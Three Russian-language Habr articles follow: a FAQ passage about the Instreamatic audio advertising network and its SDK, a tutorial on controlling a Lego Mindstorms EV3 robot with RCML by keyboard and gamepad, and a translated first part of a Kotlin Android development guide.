Мы заметили, что это опасение неоднократно было повторено в комментариях. Как интернет-пользователи, мы прекрасно понимаем проблему — правда, неприятно, когда на сайтах или в приложениях появляется посторонний громкий звук. Нет, в случае размещения рекламных роликов через [Инстриматик](http://instreamatic.com/) реклама никогда не будет воспроизводиться в полной тишине без отсутствия звукового потока. Мы анализируем факт воспроизведения звука. Никаких внезапных громких звуков не будет, аудиореклама не стартует в тишине.
 **И всё же, звук встроен в процесс или это «левый рекламный звук»?**
Звук встроен в звук. Как на радио, медленно гаснет фоновая музыка, звучит один рекламный аудиоролик, возвращается фоновая музыка, голос, звуки игры и т.д. Показ рекламы не происходит рандомно, он всегда привязан к событию и разработчик отвечает за это.
 **Будет ли визуальное блокирование, например, во время просмотра видео или игры (таймер, баннер)?**
Как мы уже писали, аудиоролик можно сопроводить синхронным или отложенным визуальным баннером. Баннер, даже если он предусмотрен, можно закрыть и продолжить взаимодействие с контентом. Однако отметим, что половина размещений заказывается без баннера.
 **Будет ли регулироваться уровень громкости рекламы или она будет громче контента?**
Ответ однозначный: реклама никогда не будет громче контента.
 **Будет ли отваливаться контент после прослушивания аудиотрека?**
Нет, не будет никаких зависаний основного контента. Видео и аудио проигрывать заново не понадобится.
 **Кто будет осуществлять контроль контента на предмет нарушения законодательства? Будут ли возрастные ограничения (если играет/слушает радио ребёнок)?**
Возрастные ограничения настраиваются таргетами. Все компании в рекламной цепочки обязаны соблюдать закон: и рекламодатели, и агентства и мы как дистрибьютор рекламы.
 **К какому типу рекламы относится [Инстриматик](http://instreamatic.com/)?**
Классический RTB-аукцион плюс программатик. RTB-аукционы — прекрасная возможность оптимизации закупок и продажи рекламы, но работа с аудио долгое время тормозилась из-за отсутствия принятых стандартов в этой сфере. На протяжении 2015 года ситуация тронулась с мёртвой точки. Разработанный AIB формат DAAST 1.0, позволяет ожидать в ближайшие месяцы выхода DAAST-совместимых аудио-плееров. Новая версия OpenRTB протокола (версия 2.4 DRAFT) предусматривает возможность bid request’а с типом рекламы Audio, описываемого в DAAST-формате. Instreamatic в данный момент занят внедрением подобного решения и поиском партнёров для programmatic решений аукционного типа.
 **Живут же бесплатные радио, значит можно без рекламы?!**
Если реклама не воспроизводится в вашем потоке, это не значит, что у радио её совсем нет. Например, может быть реклама для слушателей из отдельных стран, или реклама при заданном количестве слушателей потока. Зарабатывать можно также на лотереях, розыгрышах призов от спонсоров, платном заказе музыкального контента, изменении качества звука и т.д. Да, для солидной радиостанции это не доход — затраты в сотни раз больше. Но для частного лица, владельца интернет-радио, вложившего в создание радио минимум (благодаря различным платформам), это нормальный дополнительный доход.
Кроме того, радио может негласно спонсироваться компанией или общественными институтами как социальный заказ.
Немного о механике Инстриматика
-------------------------------
За механику, разумеется, отвечает код, встраиваемый в код площадки для размещения роликов. Например, есть событие окончания трека, старта потока, или любое другое подходящее для запуска рекламы событие. К нему и привязывается показ рекламы. Приведём пару примеров реализации.
Мы договариваемся с разработчиком о моменте запуска рекламы, и прописываем это в коде, который передаем ему на установку.
Разработчик сам настраивает событие для показа рекламы в соотвествие с документацией. Например, для Web SDK для запуска в ручном режиме нужно передать параметр admanMode=AdMan.Mode.MANUAL. При этом параметры playerType и playerId не требуются.
Запуск рекламы осуществляется вызовом метода start у экземпляра AdMan.Manager.
По событиям adNone и adCompleted нужно начать основное воспроизведение. Как-то так:
```
Play
var adman = new AdMan.Manager({
admanId: [172, 263],
admanMode: AdMan.Mode.MANUAL,
banner: {
id: "banner\_container",
width: 728,
height: 90
},
events: {
adNone: function() {
// start player
// $("#player").play();
},
adCompleted: function() {
// start player
// $("#player").play();
}
}
});
$(".play\_button").click(function() {
adman.start();
});
```
На Android-устройствах система анализирует, можно ли подобрать рекламу для пользователя. Если ролик соответствует таргету, то модуль меняет состояние. Когда модуль находится в состоянии READY\_FOR\_PLAYBACK, то можно начать воспроизведение рекламы:
```
adman.play();
```
Вообще, Иннстриматик прост в установке и управлении. Для разработчиков у нас есть отличная документация и SDK для различных платформ: WEB, Android, iOS, игрового движка Unity.
Кейсы наших партнёров
---------------------
Это всё была сухая теория, мы готовы рассказать о наших партнёрах, которые подключились к сети Инстриматик и уже накопили данные по трафику. Самые интересные и наглядные кейсы — это сервисы онлайн радио, имеющие многотысячную аудиторию.
В октябре 2014 года к нам подключился популярный сервис 101.ru. На графике можно видеть динамику его трафика за несколько месяцев, включая месяц подключения. Как вы видите, трафик не упал, а напротив, даже вырос.
LOVE RADIO подключилось к Инстриматику в декабре 2015 года и на графике также виден рост трафика (так, количество посетителей в декабре по отношению к ноябрю увеличилось на 2,5%), за исключением недельного праздничного провала, никак не связанного с размещением рекламы.
Популярный агрегатор онлайн-радио Moskva.fm подключился к Инстриматку в октябре 2014 года и трафик также продолжил свой рост. Поскольку весной 2015 года сервис ограничил свой функционал, график Liveinternet сложно визуально воспринимать. Мы построили его на открытых данных партнёра:
Мы привели примеры тех клиентов, по которым доступна открытая статистика. С остальными площадками и разработчиками мы работаем не менее успешно, но коммерческая этика, к огромному сожалению, не позволяет нам раскрыть результаты сотрудничества.
Много вопросов было задано о качестве рекламы, о том, какой это контент, насколько она цена сама по себе. Предлагаем вам послушать аудиоролики наших клиентов.
Вот так аудиорекламу использует всем известный Спотифай на десктопе:
Крутой пример Zvooq в мобильном приложении:
Вот как можно использовать в играх:
Для тех, кто готов к небольшому трешу, мы припасли аудиоролик IKEA. Он лежит [здесь](https://www.dropbox.com/s/60m10qjayuf9g5y/instream_ikea_audio_ad.mp3?dl=0).
Рекламу не любят. Сложно определить, чья в этом вина: рекламодателя, изготовителя рекламы или владельца площадки. Но при этом люди любят бренды и даже становятся евнгелистами. Скорее всего, дело в правильно сочетании ценностей бренда, качества рекламы и уместности ее появления. Но именно реклама позволяет зарабатывать владельцам и разработчикам бесплатных игр, сайтов, полезных и нужных приложений. Часть заработанного уходит на доработку продукта, добавление новых фич и функциональности по требованию пользователей. Реклама перестаёт быть двигателем торговли и превращается в двигатель развития продуктов, которыми мы с вами пользуемся. Не думаем, что прослушивание 15-30 секунд аудиорекламы — большая цена.
И, как всегда, разработчикам — добро присоединиться к [Инстриматик](http://instreamatic.com/)! | https://habr.com/ru/post/277501/ | null | ru | null |
# Взаимодействие с роботом на базе конструктора Lego Mindstorms EV3 через RCML
В статье содержится описание опыта использования конструктора Lego Mindstorms EV3 для создания прототипа робота с его последующим программным и ручным управлением при помощи Robot Control Meta Language (RCML).
Далее будут рассмотрены следующие ключевые моменты:
* Сборка прототипа робота на базе конструктора Lego Mindstorms EV3
* Быстрая установка и настройка RCML для Windows
* Программное управление роботом на базе контроллера EV3
* Ручное управление периферией робота с помощью клавиатуры и геймпада
Забегая немного вперед, добавлю, что для реализации управления Lego-роботом с помощью клавиатуры требуется создать программу, содержащую всего 3 строки программного кода. Подробней о том, как это сделать написано под катом.
1. Для начала из конструктора Lego Mindstorms EV3 был создан прототип робота, который будет использоваться для программирования и ручного пилотирования.
**Описание прототипа робота**Робот имеет конструкцию схожую с автомобильным шасси. Два мотора, установленные на раме, имеют одну общую ось вращения, которая соединена с задними колесами через редуктор. Редуктор преобразует крутящий момент путем увеличения угловой скорости задней оси. Рулевое управление собрано на базе конического редуктора.
2. Следующий шаг — подготовка RCML для работы с конструктором Lego Mindstorms EV3.
Следует скачать архивы с исполняемыми файлами и файлами библиотек [rcml\_build\_1.0.6.zip](http://sourceforge.net/projects/rcmlang/files/windows/rcml_build_1.0.6.zip/download) и [rcml\_modules\_build\_1.0.6.zip](http://sourceforge.net/projects/rcmlang/files/windows/rcml_modules_build_1.0.6.zip/download).
Далее описан процесс выполнения быстрого старта для взаимодействия RCML и Lego робота, управляемого контроллером EV3.
Скаченные архивы нужно извлечь в каталог с произвольным именем, однако следует **избегать** русских букв в названии.
**Содержимое каталога после распаковки в него архивов**
Далее необходимо создать файл конфигурации config.ini, который необходимо расположить в этом же каталоге. Для реализации возможности управления контроллером EV3 при помощи клавиатуры и геймпада, следует подключить модули lego\_ev3, keyboard и gamepad.
**Листинг конфигурационного файла config.ini для RCML**
```
[robot_modules]
module = lego_ev3
[control_modules]
module = keyboard
module = gamepad
```
Далее следует произвести сопряжение контроллера EV3 и адаптера.
**Инструкция для сопряжения контролера EV3 и Bluetooth адаптера**Инструкция содержит пример сопряжения контроллера Lego Ev3 и ПК под управлением операционной системы Windows 7.
1. Нужно перейти в раздел настроек контроллера Ev3, далее в пункт меню «Bluetooth».
2. Следует убедиться в правильности установки параметров конфигурации. На против пунктов “Visibility”,” Bluetooth” должны быть установлены галочки.
3. Необходимо перейти в «Панель управления», далее «Устройства и принтеры», далее «Устройства Bluetooth».
4. Необходимо нажать кнопку «Добавление устройства». Откроется окно для выбора доступных Bluetooth устройств.
5. Следует выбрать устройство “EV3” и нажать кнопку «Далее».
6. На экране контроллера EV3 отразится диалоговое окно «Connect?». Нужно выбрать вариант галочки, и подтвердить свой выбор нажатием центральной клавиши.
7. Далее отобразиться диалоговое окно «PASSKEY», в строке ввода должны быть указаны цифры «1234», далее следует подтвердить ключевую фразу для сопряжения устройств, путем нажатия центральной клавиши на позиции с изображением галочки.
8. В мастере сопряжения устройства появится форма для ввода ключа для сопряжения устройств. Нужно ввести код «1234» и нажать клавишу «Далее».
9. Далее отобразиться окно, с успешным подключением устройства. Следует нажать клавишу «Закрыть».
10. На ПК необходимо вернуться в «Панель управления», далее «Устройства и принтеры», далее «Устройства Bluetooth». В списке доступных устройств отобразится устройство, с которым было произведено сопряжение.
11. Следует двойным нажатием зайти в свойства подключения “EV3”.
12. Далее необходимо перейти во вкладку «Оборудование».
13. Далее следует двойным нажатием перейти в свойства подключения «Стандартный последовательный порт по соединению Bluetooth».
14. Указанный в свойствах индекс COM-порта, следует использовать в конфигурационном файле config.ini модуля lego\_ev3. В примере показаны свойства Bluetooth подключения контроллера Lego EV3 с использованием стандартного последовательного порта COM14.
Дальнейшая конфигурация модуля сводится к тому, что необходимо прописать в конфигурационном файле модуля lego\_ev3 адрес COM-порта, через который осуществляется коммуникация с роботом Lego.
**Листинг конфигурационного файла config.ini для модуля lego\_ev3**
```
[connections]
connection = COM14
[options]
dynamic_connection = 0
```
Теперь необходимо произвести настройку модуля keyboard. Модуль находится в каталоге control\_modules, далее keyboard. Следует создать конфигурационный файл config.ini рядом с файлом keyboard\_module.dll. Перед тем, как создать конфигурационный файл, необходимо определить, какие действия должны быть совершены по нажатию клавиш.
Модуль клавиатуры позволяет задействовать клавиши, которые имеют определенный числовой код. Таблицу виртуальных кодов клавиш можно посмотреть [здесь](https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx).
В качестве примера, буду использовать нажатия следующих клавиш:
* Стрелки вверх/вниз используются для вращения мотора задних колес вперед/назад
* Стрелки влево/вправо поворачивают колеса влево/вправо
Файл конфигурации модуля keyboard описывает, какие оси доступны программисту, для осуществления взаимодействия с роботом в режиме ручного управления. Таким образом, в примере получилось две управляющих группы – это оси клавиатуры. Для добавления новой оси, следует придерживаться следующих правил описания осей.
**Правила описания осей для модуля keyboard**1. При добавлении новой оси, необходимо в секцию **[mapped\_axis]** добавить свойство, имя которого есть имя оси, и присвоить ему значение кнопки клавиатуры в **HEX** формате, при этом на каждую кнопку заводится подобная запись, т.е. имя оси может быть использовано несколько раз. В общем случае запись в секцию **[mapped\_axis]** будет выглядеть следующим образом:
```
имя_оси = значение_кнопки_клавиатуры_в_HEX_формате
```
2. Необходимо установить максимальное и минимальное значение, которое может откладываться по данной оси. Для этого необходимо с новой строки добавить секцию в конфигурационном файле **config.ini**, одноименную с именем оси, и задать свойства **upper\_value** и **lower\_value**, которые соответствуют максимум и минимуму оси соответственно. В общем виде данная секция выглядит следующим образом:
```
[имя_оси]
upper_value = максимальное_значение_оси
lower_value = минимальное_значение_оси
```
3. Далее следует определить, какое значение будет иметь ось в случае нажатия кнопки на клавиатуре, которая ранее была прикреплена к ней. Определение значений происходит посредством создания секции, название которой состоит из имени оси и значения кнопки клавиатуры в **HEX** формате, разделенные между собой символом нижнего подчеркивания. Для задания значения по умолчанию (в не нажатом) и нажатом состоянии используются свойства **unpressed\_value** и **pressed\_value** соответственно, в которые передаются значения. Общий вид секции в таком случае выглядит следующим образом:
```
[имя-оси_значение-кнопки-клавиатуры]
pressed_value = значение_оси_при_нажатой_клавише
unpressed_value = значение_оси_при_отжатой_клавише
```
Текст спойлера для удобства просмотра скопирован из [документации по RCML](http://robotct.ru/aboutrcml).
Для реализации управления прототипом робота был создан конфигурационный файл модуля keyboard, который включает в себя оси go и rotate. Ось go используется для задания направления движения робота. При нажатии клавиши “стрелка вверх” ось получит значение 100, при нажатии клавиши “стрелка вниз” ось примет значение -50. Ось rotate используется для установки угла поворота передних колес. При нажатии клавиши “стрелка влево” значение оси будет равно -5, при нажатии «стрелки вправо» ось примет значение 5.
**Листинг конфигурационного файла config.ini для модуля keyboard**
```
;Обязательная секция
[mapped_axis]
;название_оси = код_клавиши (в HEX формате)
;Ось go получает значения от стрелки_вверх
go = 0x26
;Ось go получает значения от стрелки_вниз
go = 0x28
;Ось rotate получает значения от стрелки_влево
rotate = 0x25
;Ось rotate получает значения от стрелки_вправо
rotate = 0x27
;Описание оси go, всегда должно иметь оба ключа
[go]
;Верхняя граница значений оси go
upper_value = -100
;Нижняя граница значений оси go
lower_value = 100
;Описание оси rotate, всегда должно иметь оба ключа
[rotate]
;Верхняя граница значений оси rotate
upper_value = -100
;Нижняя граница значений оси rotate
lower_value = 100
;Описание поведения оси go для клавиши *стрелка_вверх* (0x26)
[go_0x26]
;При нажатии клавиши *стрелка_вверх* значение оси задать равным 50
pressed_value = 100
;При отпускании клавиши *стрелка_вверх* значение оси задать равным 0
unpressed_value = 0
;Описание поведения оси go для клавиши *стрелка_вниз* (0x28)
[go_0x28]
;При нажатии клавиши *стрелка_вниз* значение оси задать равным -50
pressed_value = -50
;При отпускании клавиши *стрелка_вниз* значение оси задать равным 0
unpressed_value = 0
;Описание поведения оси rotate для клавиши *стрелка_влево* (0x25)
[rotate_0x25]
;При нажатии клавиши *стрелка_влево* значение оси задать равным -5
pressed_value = -5
;При отпускании клавиши *стрелка_влево* значение оси задать равным 0
unpressed_value = 0
;Описание поведения оси rotate для клавиши *стрелка_вправо* (0x27)
[rotate_0x27]
;При нажатии клавиши *стрелка_вправо* значение оси задать равным 5
pressed_value = 5
;При отпускании клавиши *стрелка_вправо* значение оси задать равным 0
unpressed_value = 0
```
Далее для реализации управления при помощи геймпада, необходимо настроить модуль gamepad. Конфигурирование модуля включает в себя создание конфигурационного файла config.ini рядом с gamepad\_module.dll, находящего в каталоге control\_modules, далее gamepad.
**Универсальный файл конфигурации модуля для взаимодействия с геймпадом**
```
;Обязательная секция описания используемых осей
[axis]
;Ось для завершения режима ручного управления
Exit = 9
; 11 бинарных осей, соответствующих кнопкам геймпада
B1 = 1
B2 = 2
B3 = 3
B4 = 4
L1 = 7
L2 = 5
R1 = 8
R2 = 6
start = 10
T1 = 11
T2 = 12
; 4 оси стиков
;Правый стик движение вверх/вниз
RTUD = 13
;Правый стик движение влево/вправо
RTLR = 16
;Левый стик движение вверх/вниз
LTUD = 15
;Левый стик движение влево/вправо
LTLR = 14
; 2 оси крестовины
;Движение крестовины вверх/вниз
arrowsUD = 17
;Движение крестовины влево/вправо
arrowsLR = 18
;Описание поведения оси B1
[B1]
;При нажатии кнопки B1 значение оси задать равным 1
upper_value = 1
;При отпускании кнопки B1 значение оси задать равным 0
lower_value = 0
[B2]
upper_value = 1
lower_value = 0
[B3]
upper_value = 1
lower_value = 0
[B4]
upper_value = 1
lower_value = 0
[L1]
upper_value = 1
lower_value = 0
[L2]
upper_value = 1
lower_value = 0
[R1]
upper_value = 1
lower_value = 0
[R2]
upper_value = 1
lower_value = 0
[start]
upper_value = 1
lower_value = 0
[T1]
upper_value = 1
lower_value = 0
[T2]
upper_value = 1
lower_value = 0
;Описание поведения оси правого стика движение вверх/вниз
[RTUD]
;Значение оси при перемещении в максимально возможное верхнее положение
upper_value = 0
;Значение оси при перемещении в максимально возможное нижнее положение
lower_value = 65535
[RTLR]
upper_value = 0
lower_value = 65535
[LTUD]
upper_value = 0
lower_value = 65535
[LTLR]
upper_value = 0
lower_value = 65535
;Описание поведения оси крестовины движение вверх/вниз
[arrowsUD]
;Значение оси при нажатии стрелки вверх
upper_value = 1
;Значение оси при нажатии стрелки вниз
lower_value = -1
[arrowsLR]
upper_value = 1
lower_value = -1
```
Дополнительная информация об особенностях настройки модуля gamepad отображена в [справочном руководстве по RCML](http://robotct.ru/aboutrcml#paragraph-116).
3. Следующий шаг — написание программы на языке RCML.
В корне созданного каталога, необходимо создать файл программы. Имя файла программы и его расширение может быть любым, однако следует избегать русских букв в названии. В примере использовано имя файла — hello.rcml.
Для модуля lego\_ev3 программный код резервирования робота, имеет следующий вид:
```
@tr = robot_lego_ev3;
```
На [странице подключения модуля lego\_ev3](http://robotct.ru/aboutrcml#paragraph-109) описано большинство функций, поддерживаемых контроллером. В качестве тестового примера, была создана программа для автоматического вхождения робота в занос.
Алгоритм программы следующий:
После резервирования первого свободного робота, устанавливается связь двух двигателей для последующей работы с ними, как с одним. Затем робот начинает выполнять заносы. Программное описание действий робота позволяет точно устанавливать углы поворота передних колес и скорость вращения задних. Использование этого приёма позволяет добиваться результатов, которые сложно повторить во время ручного пилотирования с клавиатуры или геймпада.
**Листинг программы для Lego робота на языке RCML**
```
function main() {
@tr = robot_lego_ev3; //Резервирование робота
@tr->setTrackVehicle("B","C",0,0); //Установка синхронизации двигателей
@tr->motorMoveTo("D",100,0,0);
system.sleep(500);
@tr->trackVehicleForward(-100);
system.sleep(1000);
@tr->motorMoveTo("D",50,-50,0);
system.sleep(4000);
@tr->motorMoveTo("D",50,50,0);
system.sleep(4000);
@tr->trackVehicleOff();
system.sleep(1000);
}
```
Для компилирования программы необходимо использовать командную строку window. Сначала следует переместиться в созданный каталог с исполняемыми файлами rcml\_compiler.exe и rcml\_intepreter.exe. Далее нужно ввести следующие команды.
Команда для компилирования файла hello.rcml:
```
rcml_compiler.exe hello.rcml hello.rcml.pc
```
В результате компилирования, в созданной директории появится новый файл hello.rcml.pc.
**Скриншот командой строки после успешного компилирования**
Теперь следует убедиться в том, что контроллер EV3 включен, сопряжен с Bluetooth адаптером. Геймпад должен быть подключен к ПК. После этого нужно выполнить команду исполнения программного файла:
```
rcml_intepreter.exe hello.rcml
```
**Внешний вид командной строки во выполнения программы**
Видеоролик демонстрирующий программу движения робота расположен внизу статьи.
4. Следующий шаг – управление роботом в ручном режиме при помощи клавиатуры.
Далее будет продемонстрирован процесс программной установки связи между двигателями робота и клавиатурой.
При помощи клавиатуры возможно управление любым двигателем робота. В рамках примера реализовано управление следующими механизмами:
* Углом поворота передних колес
* Направлением вращения задних колес
**Листинг программы взаимодействия клавиатуры и робота Lego на базе контроллера EV3**
```
function main() {
@tr = robot_lego_ev3; //Резервирование робота
@tr->setTrackVehicle("B","C",0,0); //Установка синхронизации двигателей
system.hand_control(@tr,"keyboard",
"straight","go",
"speedMotorD","rotate");
}
```
Далее следует откомпилировать программу и выполнить её. Результат ручного управления Lego роботом при помощи на клавиатуры показан на видео внизу страницы.
5. Помимо клавиатуры доступен модуль gamepad позволяющий манипулировать роботом при помощи геймпада. Для реализации управления робота при помощи геймпада необходимо описать на уровне программы, какие оси робота будут принимать значения осей геймпада.
**Листинг программы взаимодействия геймпада и робота Lego**
```
function main() {
@tr = robot_lego_ev3; //Резервирование робота
@tr->setTrackVehicle("B","C",0,0); //Установка синхронизации двигателей
system.hand_control(@tr,"gamepad",
"straight"," RTUD",
"speedMotorD"," RTLR");
}
```
Далее следует повторить процесс компилирования программы и затем выполнить её. Далее показан результат ручного управления Lego роботом при помощи на геймпада, и все ранее подключенные способы:
В статье кратко продемонстрированы только лишь некоторые возможности RCML. Наиболее подробное описание находиться в справочном руководстве. | https://habr.com/ru/post/371909/ | null | ru | null |
# Современная Android разработка на Kotlin. Часть 1
*Данная статья является перевом статьи от [Mladen Rakonjac](https://proandroiddev.com/modern-android-development-with-kotlin-september-2017-part-1-f976483f7bd6)*
Очень сложно найти один проект, который охватывал бы всё новое в разработке под Android в Android Studio 3.0, поэтому я решил написать его. В этой статье мы разберём следующее:
1. **Android Studio 3**
2. **Язык программирования Kotlin**
3. **Варианты сборки**
4. **ConstraintLayout**
5. **Библиотека привязки данных Data Binding**
6. Архитектура MVVM + паттерн repository (с mapper'ами) + Android Manager Wrappers
7. RxJava2 и как это помогает нам в архитектуре
8. Dagger 2.11, что такое внедрение зависимости, почему вы должны использовать это.
9. Retrofit (Rx Java2)
10. Room (Rx Java2)
Каким будет наше приложение?
----------------------------
Наше приложение будет самым простым, которое охватывает все перечисленные выше вещи: у него будет только одна функция, которая извлекает все репозитории пользователя [googlesamples](https://github.com/googlesamples) из GitHub, сохраняет эти данные в локальной базе данных и показывает их пользователю.
Я попытаюсь объяснить как можно больше строк кода. Вы всегда можете посмотреть код, который я опубликовал на [GitHub](https://github.com/mladenrakonjac/ModernAndroidApp).
Android Studio
--------------
Чтобы установить Android Studio 3, перейдите на [эту страницу](https://developer.android.com/studio/index.html)
Android Studio 3 поддерживает Kotlin. Откройте **Create Android Project**. Там вы увидите новый флажок с меткой **Include Kotlin support**. Он выбран по умолчанию. Дважды нажмите кнопку **Далее** и выберите **Empty Activity**, затем нажмите **Finish**.
**Поздравляю!** Вы сделали первое приложение для Android на Котлине :)
Kotlin
------
Вы можете видеть **MainActivity.kt**:
```
package me.fleka.modernandroidapp
import android.support.v7.app.AppCompatActivity
import android.os.Bundle
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
}
}
```
Расширение **.kt** означает, что файл является файлом Kotlin.
**MainActivity: AppCompatActivity()** означает, что мы расширяем **AppCompatActivity**.
Кроме того, все методы должны иметь ключевое слово **fun** и в Котлине вам не нужно использовать **;**, но вы можете, если хотите. Вы должны использовать ключевое слово **override**, а не аннотацию, как в Java.
Так что же означает **?** в **savedInstanceState: Bundle?**? Это означает, что savedInstanceState может быть типа **Bundle** или типа **null**. **Kotlin** [null безопасный](https://kotlinlang.ru/docs/reference/null-safety.html) язык. Если у вас есть:
```
var a : String
```
вы получите ошибку компиляции, потому что **a** должна быть инициализированна и это не может быть **null**. Это означает, что вы должны написать:
```
var a : String = "Init value"
```
Кроме того, вы получите ошибку компиляции, если вы это сделаете:
```
a = null
```
Чтобы сделать **a** nullable, вы должны написать:
```
var a : String?
```
Почему эта важная особенность языка Котлина? Это помогает нам избежать [NPE](https://ru.stackoverflow.com/questions/511085/%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-null-pointer-exception-%D0%B8-%D0%BA%D0%B0%D0%BA-%D0%B5%D0%B3%D0%BE-%D0%B8%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C). Разработчики Android уже устали от NPE. Даже создатель null, сэр Тони Хоар, извинился за изобретение. Предположим, что мы имеем nullable **nameTextView**. Если переменная равна null, то в следующем коде мы получим NPE:
```
nameTextView.setEnabled(true)
```
Но Котлин, на самом деле, хорош, он не позволят нам делать даже такое. Он заставляет нас использовать оператор **?** или оператор **!!**. Если мы используем оператор **?**:
```
nameTextView?.setEnabled(true)
```
Строка будет исполнена только если nameTextView не null. В ином случае, если вы используете оператор **!!**:
```
nameTextView!!.setEnabled(true)
```
Мы получим NPE если **nameTextView** null. Это для авантюристов :).
Это было небольшое введение в Kotlin. Когда мы продолжим, я остановлюсь, чтобы описать другой специфический код на Котлине.
2. Build Variants
-----------------
В разработке часто вы имеете различные окружения. Наиболее стандартным является **тестовое** и **производственное** окружение. Эти среды могут отличаться в URL-адресах сервера, иконке, имени, целевом API и т.д. На [fleka](http://www.fleka.me/) в каждом проекте у вас есть:
* **finalProduction**, который отправляется в Google Play Store.
* **demoProduction**, то есть версия с URL-адресом production сервера с новыми функциями, которые всё ещё не находятся в Google Play Store. Наши клиенты могут установить эту версию рядом с Google Play, чтобы они могли протестировать ее и дать нам обратную связь.
* **demoTesting**, то же самое, что и **demoProduction** с тестовым URL-адресом сервера.
* **mock**, полезен для меня как для разработчика и дизайнера. Иногда у нас есть готовый дизайн, и наш API ещё не готов. Ожидание API, чтобы быть начать разработку — не решение. Этот вариант сборки снабжён поддельными данными, поэтому команда дизайнеров может проверить его и дать нам обратную связь. Очень полезно это не откладывать. Когда API уже готов, мы перемещаем нашу разработку в окружение **demoTesting**.
В этом приложении мы будем использовать всех их. У них будут отличаться applicationId и имена. В gradle 3.0.0 есть новый API **flavorDimension**, который позволяет смешивать *разновидности* продукта, так, например, вы можете смешать разновидности **demo** и **minApi23**. В нашем приложении мы будем использовать только «default» flavorDimension. Перейдите в build.gradle для приложения и вставьте этот код внутри **android {}**
```
flavorDimensions "default"
productFlavors {
finalProduction {
dimension "default"
applicationId "me.fleka.modernandroidapp"
resValue "string", "app_name", "Modern App"
}
demoProduction {
dimension "default"
applicationId "me.fleka.modernandroidapp.demoproduction"
resValue "string", "app_name", "Modern App Demo P"
}
demoTesting {
dimension "default"
applicationId "me.fleka.modernandroidapp.demotesting"
resValue "string", "app_name", "Modern App Demo T"
}
mock {
dimension "default"
applicationId "me.fleka.modernandroidapp.mock"
resValue "string", "app_name", "Modern App Mock"
}
}
```
Перейдите в strings.xml и удалите строку app\_name, чтобы у нас не было конфликтов. Затем нажмите **Sync Now**. Если вы перейдете в **Build Variants**, расположенным слева от экрана, вы увидите 4 варианта сборки, каждый из которых имеет два типа сборки: **Debug** и **Release**. Перейдите к варианту сборки **demoProduction** и запустите его. Затем переключитесь на другой и запустите его. Вы должны увидеть два приложения с разными именами.
3. ConstraintLayout
-------------------
Если вы откроете **activity\_main.xml**, вы увидите, что этот layout — **ConstrainLayout**. Если вы когда-либо писали приложение под iOS, вы знаете об **AutoLayout**. **ConstraintLayout** действительно похож на него. Они даже используют один и тот же алгоритм Cassowary.
```
xml version="1.0" encoding="utf-8"?
```
**Constraint** помогает нам описать связи между **View**. Для каждого **View** у вас должно быть 4 **Constraint**, один для каждой стороны. В данном случае наш **View** ограничен родителем с каждой стороны.
Если вы передвинете **TextView** «Hello World» немного вверх во вкладке **Design**, во вкладке **Text** появится новая линия:
```
app:layout_constraintVertical_bias="0.28"
```
Вкладки **Design** и **Text** синхронизируются. Наши изменения во вкладке **Design** влияют на xml во вкладке **Text** и наоборот. **Vertical\_bias** описывает вертикальную тенденцию view его **Constraint**. Если вы хотите центровать вертикально, используйте:
```
app:layout_constraintVertical_bias="0.28"
```
Давайте сделаем чтобы наш **Activity** показал только один репозиторий. В нём будут имя репозитория, количество звезд, владелец, и он будет показывать, есть ли у репозитория issues, или нет.
Чтобы получить такой layout, xml должен выглядеть так:
```
xml version="1.0" encoding="utf-8"?
```
Пусть **tools:text** вас не смущает. Он просто помогает нам видеть хороший предварительный просмотр макета (layout'а).
Вы можете заметить, что наш макет плоский, ровный. Вложенных макетов нет. Вы должны использовать вложенные макеты как можно реже, поскольку это может повлиять на производительность. Более подробную информацию об этом вы можете найти [здесь](https://developer.android.com/topic/performance/rendering/optimizing-view-hierarchies.html). Кроме того, **ConstraintLayout** отлично работает с разными размерами экрана:
и мне кажется, что я могу добиться желаемого результата очень быстро.
Это было небольшое введение в **ConstraintLayout**. Вы можете найти Google code lab [здесь](https://codelabs.developers.google.com/codelabs/constraint-layout/index.html?index=..%2F..%2Findex#0), и документацию о **ConstraintLayout** на [GitHub](https://constraintlayout.com/).
4. Библиотека привязки данных Data Binding
------------------------------------------
Когда я услышал о библиотеке привязки данных, первое вопрос, который я задал себе: "**ButterKnife** работает очень хорошо для меня. Кроме того, я использую плагин, который помогает мне получать **View** из xml. Зачем мне это менять?". Как только я узнал больше о привязке данных, у меня было такое же чувство, какое у меня было, когда я впервые использовал **ButterKnife**.
### Как ButterKnife помогает нам?
ButterKnife помогает нам избавиться от скучного **findViewById**. Итак, если у вас 5 View, без Butterknife у вас есть 5 + 5 строк, чтобы привязать ваши View. С ButterKnife у вас есть 5 строк. Вот и всё.
### Что плохо в ButterKnife?
ButterKnife по-прежнему не решает проблему поддержки кода. Когда я использовал ButterKnife, я часто получал исключение во время выполнения, потому что я удалял View в xml, и не удалял код привязки в классе Activity / Fragment. Кроме того, если вы хотите добавить View в xml, вам нужно снова сделать привязку. Это очень скучно. Вы теряете время на поддерживание связей.
### Что насчёт библиотеки привязки данных?
Есть много преимуществ! С помощью библиотеки привязки данных вы можете привязать свои View всего одной строкой кода! Позвольте мне показать вам, как это работает. Давайте добавим библиотеку **Data Binding** в наш проект:
```
// at the top of file
apply plugin: 'kotlin-kapt'
android {
//other things that we already used
dataBinding.enabled = true
}
dependencies {
//other dependencies that we used
kapt "com.android.databinding:compiler:3.0.0-beta1"
}
```
Обратите внимание, что версия компилятора **Data Binding** должна совпадать с версией gradle в файле **build.gradle** проекта:
```
classpath 'com.android.tools.build:gradle:3.0.0-beta1'
```
Нажмите **Sync Now**. Перейдите в **activity\_main.xml** и оберните **ConstraintLayout** тегом **layout**:
```
xml version="1.0" encoding="utf-8"?
```
Обратите внимание, что вам нужно переместить все **xmlns** в тег **layout**. Затем нажмите иконку **Build** или используйте сочетание клавиш **Ctrl + F9** (**Cmd + F9** на Mac). Нам нужно собрать проект, чтобы библиотека **Data Binding** могла сгенерировать класс **ActivityMainBinding**, который мы будем использовать в нашем классе **MainActivity**.
